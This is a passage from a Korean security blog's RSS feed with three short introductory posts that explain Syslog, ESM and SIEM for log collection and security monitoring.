&lt;p data-end=&quot;133&quot; data-start=&quot;54&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Syslog는 &lt;b&gt;시스템, 장치, 애플리케이션에서 발생한 로그 메시지를 표준 형식으로 수집하고 전송하는 프로토콜&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;139&quot; data-start=&quot;135&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;213&quot; data-start=&quot;141&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;서버, 네트워크 장치, 보안 장비에서 발생한 로그를 한 곳으로 모으고, 관리자가 쉽게 확인할 수 있도록 해주는 표준 방법&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;317&quot; data-start=&quot;215&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;296&quot; data-start=&quot;215&quot;&gt;네트워크 장치(Cisco, Juniper), 서버(Linux, Windows), 보안 장비(Firewall, IPS, WAF) 등에서 사용&lt;/li&gt;
&lt;li data-end=&quot;317&quot; data-start=&quot;297&quot;&gt;보안관제(SIEM) 연계에 필수적&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;322&quot; data-start=&quot;319&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;344&quot; data-start=&quot;324&quot;&gt;  2. Syslog 구성 요소&lt;/h1&gt;
&lt;p data-end=&quot;375&quot; data-start=&quot;346&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;Syslog 메시지(Message)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;515&quot; data-start=&quot;376&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;389&quot; data-start=&quot;376&quot;&gt;로그의 실제 내용&lt;/li&gt;
&lt;li data-end=&quot;515&quot; data-start=&quot;390&quot;&gt;구조: &amp;lt;Priority&amp;gt; Timestamp Hostname Tag Message
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;515&quot; data-start=&quot;444&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;515&quot; data-start=&quot;444&quot;&gt;예: &amp;lt;34&amp;gt; Nov 14 13:30 server1 sshd[1234]: Accepted password for user&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;563&quot; data-start=&quot;517&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;Syslog 서버(Syslog Server / Collector)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;595&quot; data-start=&quot;564&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;581&quot; data-start=&quot;564&quot;&gt;로그 수집, 저장, 분류&lt;/li&gt;
&lt;li data-end=&quot;595&quot; data-start=&quot;582&quot;&gt;중앙 관리 및 분석용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;642&quot; data-start=&quot;597&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;Syslog 클라이언트(Syslog Client / Agent)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;691&quot; data-start=&quot;643&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;669&quot; data-start=&quot;643&quot;&gt;로그를 생성하고 Syslog 서버로 전송&lt;/li&gt;
&lt;li data-end=&quot;691&quot; data-start=&quot;670&quot;&gt;장치 자체 또는 에이전트 소프트웨어&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;696&quot; data-start=&quot;693&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;719&quot; data-start=&quot;698&quot;&gt;  3. Syslog 메시지 형식&lt;/h1&gt;
&lt;p data-end=&quot;745&quot; data-start=&quot;721&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;Priority (PRI)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;815&quot; data-start=&quot;746&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;777&quot; data-start=&quot;746&quot;&gt;로그의 중요도와 시설(Facility) 정보 포함&lt;/li&gt;
&lt;li data-end=&quot;815&quot; data-start=&quot;778&quot;&gt;중요도(Level): Emergency(0) ~ Debug(7)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;833&quot; data-start=&quot;817&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;Header&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;855&quot; data-start=&quot;834&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;855&quot; data-start=&quot;834&quot;&gt;Timestamp, Hostname&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;874&quot; data-start=&quot;857&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;Message&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;900&quot; data-start=&quot;875&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;900&quot; data-start=&quot;875&quot;&gt;Tag(프로세스 이름) + 실제 로그 내용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;905&quot; data-start=&quot;902&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;927&quot; data-start=&quot;907&quot;&gt;  4. Syslog 전송 방식&lt;/h1&gt;
&lt;p data-end=&quot;955&quot; data-start=&quot;929&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;UDP (기본, 514 포트)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;981&quot; data-start=&quot;956&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;981&quot; data-start=&quot;956&quot;&gt;가볍지만 신뢰성 낮음, 패킷 손실 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;996&quot; data-start=&quot;983&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;TCP&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1014&quot; data-start=&quot;997&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1014&quot; data-start=&quot;997&quot;&gt;연결 기반, 신뢰성 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1035&quot; data-start=&quot;1016&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;TLS 적용 가능&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1052&quot; data-start=&quot;1036&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1052&quot; data-start=&quot;1036&quot;&gt;암호화 전송 &amp;rarr; 보안 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1057&quot; data-start=&quot;1054&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1079&quot; data-start=&quot;1059&quot;&gt;  5. Syslog 활용 사례&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1212&quot; data-start=&quot;1081&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1123&quot; data-start=&quot;1081&quot;&gt;&lt;b&gt;보안관제(SIEM 연동)&lt;/b&gt;: 방화벽, IPS, WAF 로그 수집&lt;/li&gt;
&lt;li data-end=&quot;1158&quot; data-start=&quot;1124&quot;&gt;&lt;b&gt;시스템 모니터링&lt;/b&gt;: 서버 이벤트, 에러 로그 관리&lt;/li&gt;
&lt;li data-end=&quot;1183&quot; data-start=&quot;1159&quot;&gt;&lt;b&gt;규제 준수&lt;/b&gt;: 감사용 로그 저장&lt;/li&gt;
&lt;li data-end=&quot;1212&quot; data-start=&quot;1184&quot;&gt;&lt;b&gt;네트워크 트러블슈팅&lt;/b&gt;: 장애 원인 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1217&quot; data-start=&quot;1214&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1231&quot; data-start=&quot;1219&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1320&quot; data-start=&quot;1232&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Syslog = 서버, 네트워크 장치, 애플리케이션에서 발생한 로그를 표준 형식으로 수집&amp;middot;전송하여 중앙에서 관리하고 분석할 수 있도록 하는 프로토콜&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/367</guid>
      <comments>https://toastfactory.tistory.com/367#entry367comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:19:45 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] ESM이란?</title>
      <link>https://toastfactory.tistory.com/366</link>
      <description>&lt;h1 data-end=&quot;89&quot; data-start=&quot;75&quot;&gt;  1. ESM이란?&lt;/h1&gt;
&lt;p data-end=&quot;188&quot; data-start=&quot;91&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;ESM은 &lt;b&gt;기업 내 보안 장치와 시스템에서 발생하는 정보를 통합 관리하고, 보안 정책 준수와 위협 대응을 지원하는 통합 보안 관리 플랫폼&lt;/b&gt;을 의미해.&lt;/p&gt;
&lt;p data-end=&quot;192&quot; data-start=&quot;190&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;252&quot; data-start=&quot;194&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;기업 전체 보안 상황을 한눈에 관리하고, 위험을 분석&amp;middot;대응할 수 있도록 지원하는 통합 관리 체계&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;369&quot; data-start=&quot;254&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;283&quot; data-start=&quot;254&quot;&gt;SIEM이 &lt;b&gt;로그&amp;middot;이벤트 분석 중심&lt;/b&gt;이라면&lt;/li&gt;
&lt;li data-end=&quot;322&quot; data-start=&quot;284&quot;&gt;ESM은 &lt;b&gt;조직 전체 보안 관리와 정책 중심&lt;/b&gt;에 초점을 둠&lt;/li&gt;
&lt;li data-end=&quot;369&quot; data-start=&quot;323&quot;&gt;SIEM, IAM, DLP, 방화벽, IPS 등 다양한 보안 솔루션과 연계 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;374&quot; data-start=&quot;371&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;393&quot; data-start=&quot;376&quot;&gt;  2. ESM 주요 기능&lt;/h1&gt;
&lt;p data-end=&quot;413&quot; data-start=&quot;395&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;보안 정책 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;474&quot; data-start=&quot;414&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;444&quot; data-start=&quot;414&quot;&gt;기업 보안 규정, 접근 정책, 사용자 권한 관리&lt;/li&gt;
&lt;li data-end=&quot;474&quot; data-start=&quot;445&quot;&gt;규제 준수 지원(ISO 27001, GDPR 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;496&quot; data-start=&quot;476&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;위협 통합 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;550&quot; data-start=&quot;497&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;530&quot; data-start=&quot;497&quot;&gt;SIEM, IDS/IPS, WAF, 방화벽 로그 통합&lt;/li&gt;
&lt;li data-end=&quot;550&quot; data-start=&quot;531&quot;&gt;전사적 보안 현황 대시보드 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;589&quot; data-start=&quot;552&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;위험 분석 및 평가(Risk Assessment)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;632&quot; data-start=&quot;590&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;616&quot; data-start=&quot;590&quot;&gt;자산, 취약점, 위협 이벤트를 통합 분석&lt;/li&gt;
&lt;li data-end=&quot;632&quot; data-start=&quot;617&quot;&gt;우선순위 기반 대응 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;660&quot; data-start=&quot;634&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;사고 대응 및 워크플로우 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;706&quot; data-start=&quot;661&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;685&quot; data-start=&quot;661&quot;&gt;보안 사고 발생 시 대응 절차 자동화&lt;/li&gt;
&lt;li data-end=&quot;706&quot; data-start=&quot;686&quot;&gt;관련 팀 알림 및 처리 기록 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;732&quot; data-start=&quot;708&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;보고 및 컴플라이언스 지원&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;772&quot; data-start=&quot;733&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;755&quot; data-start=&quot;733&quot;&gt;주기적 리포트, 감사용 자료 생성&lt;/li&gt;
&lt;li data-end=&quot;772&quot; data-start=&quot;756&quot;&gt;규제 준수 여부 확인 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;777&quot; data-start=&quot;774&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;799&quot; data-start=&quot;779&quot;&gt;  3. SIEM과 ESM 차이&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분SIEMESM
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;968&quot; data-start=&quot;801&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;968&quot; data-start=&quot;843&quot;&gt;
&lt;tr data-end=&quot;886&quot; data-start=&quot;843&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;848&quot; data-start=&quot;843&quot;&gt;중심&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;865&quot; data-start=&quot;848&quot;&gt;로그&amp;middot;이벤트 수집 및 분석&lt;/td&gt;
&lt;td data-end=&quot;886&quot; data-start=&quot;865&quot; data-col-size=&quot;sm&quot;&gt;조직 전체 보안 정책&amp;middot;위험 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;928&quot; data-start=&quot;887&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;892&quot; data-start=&quot;887&quot;&gt;목적&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;904&quot; data-start=&quot;892&quot;&gt;실시간 위협 탐지&lt;/td&gt;
&lt;td data-end=&quot;928&quot; data-start=&quot;904&quot; data-col-size=&quot;sm&quot;&gt;보안 운영, 정책 준수, 리스크 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;968&quot; data-start=&quot;929&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;934&quot; data-start=&quot;929&quot;&gt;연계&lt;/td&gt;
&lt;td data-end=&quot;945&quot; data-start=&quot;934&quot; data-col-size=&quot;sm&quot;&gt;주로 로그 기반&lt;/td&gt;
&lt;td data-end=&quot;968&quot; data-start=&quot;945&quot; data-col-size=&quot;sm&quot;&gt;SIEM, 방화벽, IAM 등 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1037&quot; data-start=&quot;970&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1001&quot; data-start=&quot;970&quot;&gt;쉽게 말하면 &lt;b&gt;SIEM이 &amp;lsquo;경보&amp;rsquo; 중심&lt;/b&gt;이라면&lt;/li&gt;
&lt;li data-end=&quot;1037&quot; data-start=&quot;1002&quot;&gt;&lt;b&gt;ESM은 &amp;lsquo;전사적 보안 관리&amp;rsquo; 중심&lt;/b&gt;이라고 이해하면 돼&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1042&quot; data-start=&quot;1039&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1058&quot; data-start=&quot;1044&quot;&gt;  4. ESM 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1152&quot; data-start=&quot;1060&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1079&quot; data-start=&quot;1060&quot;&gt;기업 전반 보안 가시성 확보&lt;/li&gt;
&lt;li data-end=&quot;1096&quot; data-start=&quot;1080&quot;&gt;위협 대응 효율성 향상&lt;/li&gt;
&lt;li data-end=&quot;1116&quot; data-start=&quot;1097&quot;&gt;규제&amp;middot;컴플라이언스 준수 용이&lt;/li&gt;
&lt;li data-end=&quot;1137&quot; data-start=&quot;1117&quot;&gt;다양한 보안 솔루션 연계 가능&lt;/li&gt;
&lt;li data-end=&quot;1152&quot; data-start=&quot;1138&quot;&gt;보안 운영 자동화 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1157&quot; data-start=&quot;1154&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1171&quot; data-start=&quot;1159&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1247&quot; data-start=&quot;1172&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ESM = 기업 전체의 보안 장치와 시스템을 통합 관리하고, 보안 정책 준수와 위협 대응을 지원하는 전사적 보안 관리 플랫폼&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/366</guid>
      <comments>https://toastfactory.tistory.com/366#entry366comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:19:05 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] SIEM이란?</title>
      <link>https://toastfactory.tistory.com/365</link>
      <description>&lt;h1 data-end=&quot;108&quot; data-start=&quot;93&quot;&gt;  1. SIEM이란?&lt;/h1&gt;
&lt;p data-end=&quot;202&quot; data-start=&quot;110&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;SIEM은 &lt;b&gt;기업의 IT 시스템과 네트워크에서 발생하는 보안 이벤트와 로그를 수집, 분석, 저장하여 보안 위협을 탐지&amp;middot;관리하는 시스템&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;206&quot; data-start=&quot;204&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;278&quot; data-start=&quot;208&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;모든 시스템 로그와 이벤트를 한 곳에서 모아 이상 징후를 분석하고, 보안관제팀이 빠르게 대응할 수 있도록 돕는 플랫폼&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;343&quot; data-start=&quot;280&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;318&quot; data-start=&quot;280&quot;&gt;SOC(Security Operation Center) 핵심 도구&lt;/li&gt;
&lt;li data-end=&quot;343&quot; data-start=&quot;319&quot;&gt;실시간 모니터링 + 장기 로그 분석 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;348&quot; data-start=&quot;345&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;368&quot; data-start=&quot;350&quot;&gt;  2. SIEM 주요 기능&lt;/h1&gt;
&lt;p data-end=&quot;401&quot; data-start=&quot;370&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;로그 수집(Log Collection)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;446&quot; data-start=&quot;402&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;446&quot; data-start=&quot;402&quot;&gt;방화벽, IDS/IPS, WAF, 서버, DB 등 다양한 장치 로그 수집&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;485&quot; data-start=&quot;448&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;이벤트 상관분석(Event Correlation)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;550&quot; data-start=&quot;486&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;515&quot; data-start=&quot;486&quot;&gt;서로 관련된 이벤트를 연결하여 공격 패턴 탐지&lt;/li&gt;
&lt;li data-end=&quot;550&quot; data-start=&quot;516&quot;&gt;예: 여러 시스템에서 동시 로그인 실패 &amp;rarr; 계정 공격 의심&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;578&quot; data-start=&quot;552&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;실시간 경보(Alerting)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;607&quot; data-start=&quot;579&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;607&quot; data-start=&quot;579&quot;&gt;이상 징후 발생 시 SOC 담당자에게 알람 발송&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;646&quot; data-start=&quot;609&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;보관 및 감사(Audit &amp;amp; Compliance)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;689&quot; data-start=&quot;647&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;670&quot; data-start=&quot;647&quot;&gt;법규, 규정 준수를 위한 로그 저장&lt;/li&gt;
&lt;li data-end=&quot;689&quot; data-start=&quot;671&quot;&gt;사고 발생 시 분석 근거 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;711&quot; data-start=&quot;691&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;대시보드 &amp;amp; 리포팅&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;741&quot; data-start=&quot;712&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;725&quot; data-start=&quot;712&quot;&gt;보안 현황 시각화&lt;/li&gt;
&lt;li data-end=&quot;741&quot; data-start=&quot;726&quot;&gt;주기적 보안 리포트 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;746&quot; data-start=&quot;743&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;766&quot; data-start=&quot;748&quot;&gt;  3. SIEM 활용 사례&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;925&quot; data-start=&quot;768&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;802&quot; data-start=&quot;768&quot;&gt;&lt;b&gt;계정 탈취 시도 탐지&lt;/b&gt;: 비정상 로그인 패턴 분석&lt;/li&gt;
&lt;li data-end=&quot;846&quot; data-start=&quot;803&quot;&gt;&lt;b&gt;내부자 위협 탐지&lt;/b&gt;: 권한 이상 사용, 민감 데이터 접근 모니터링&lt;/li&gt;
&lt;li data-end=&quot;885&quot; data-start=&quot;847&quot;&gt;&lt;b&gt;DDoS / 공격 징후 탐지&lt;/b&gt;: 네트워크 이벤트 상관분석&lt;/li&gt;
&lt;li data-end=&quot;925&quot; data-start=&quot;886&quot;&gt;&lt;b&gt;규제 준수&lt;/b&gt;: GDPR, ISO 27001, 금융권 감사 대비&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;930&quot; data-start=&quot;927&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;950&quot; data-start=&quot;932&quot;&gt;  4. SIEM 구성 요소&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구성 요소설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1209&quot; data-start=&quot;952&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;1209&quot; data-start=&quot;987&quot;&gt;
&lt;tr data-end=&quot;1030&quot; data-start=&quot;987&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1011&quot; data-start=&quot;987&quot;&gt;&lt;b&gt;로그 수집기(Collector)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1030&quot; data-start=&quot;1011&quot; data-col-size=&quot;sm&quot;&gt;다양한 장치/서버 로그 수집&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1069&quot; data-start=&quot;1031&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1053&quot; data-start=&quot;1031&quot;&gt;&lt;b&gt;로그 저장소(Storage)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1069&quot; data-start=&quot;1053&quot; data-col-size=&quot;sm&quot;&gt;장기 보관, 검색 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1111&quot; data-start=&quot;1070&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1092&quot; data-start=&quot;1070&quot;&gt;&lt;b&gt;분석 엔진(Analyzer)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1111&quot; data-start=&quot;1092&quot; data-col-size=&quot;sm&quot;&gt;이벤트 상관분석, 패턴 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1166&quot; data-start=&quot;1112&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1145&quot; data-start=&quot;1112&quot;&gt;&lt;b&gt;알람 &amp;amp; 보고(Alert &amp;amp; Reporting)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1166&quot; data-start=&quot;1145&quot; data-col-size=&quot;sm&quot;&gt;이상 이벤트 알림, 리포트 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1209&quot; data-start=&quot;1167&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1189&quot; data-start=&quot;1167&quot;&gt;&lt;b&gt;대시보드(Dashboard)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;1209&quot; data-start=&quot;1189&quot; data-col-size=&quot;sm&quot;&gt;시각화 및 보안 현황 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1214&quot; data-start=&quot;1211&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1231&quot; data-start=&quot;1216&quot;&gt;  5. SIEM 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1320&quot; data-start=&quot;1233&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1251&quot; data-start=&quot;1233&quot;&gt;중앙 집중식 보안 모니터링&lt;/li&gt;
&lt;li data-end=&quot;1270&quot; data-start=&quot;1252&quot;&gt;보안 위협 탐지 속도 향상&lt;/li&gt;
&lt;li data-end=&quot;1286&quot; data-start=&quot;1271&quot;&gt;사고 대응 시간 단축&lt;/li&gt;
&lt;li data-end=&quot;1306&quot; data-start=&quot;1287&quot;&gt;규제/컴플라이언스 대응 용이&lt;/li&gt;
&lt;li data-end=&quot;1320&quot; data-start=&quot;1307&quot;&gt;보안관제 자동화 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1325&quot; data-start=&quot;1322&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1339&quot; data-start=&quot;1327&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1425&quot; data-start=&quot;1340&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SIEM = 기업 내 모든 시스템과 네트워크에서 발생하는 로그와 이벤트를 수집&amp;middot;분석하여 보안 위협을 탐지하고 대응을 지원하는 보안 관리 플랫폼&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/365</guid>
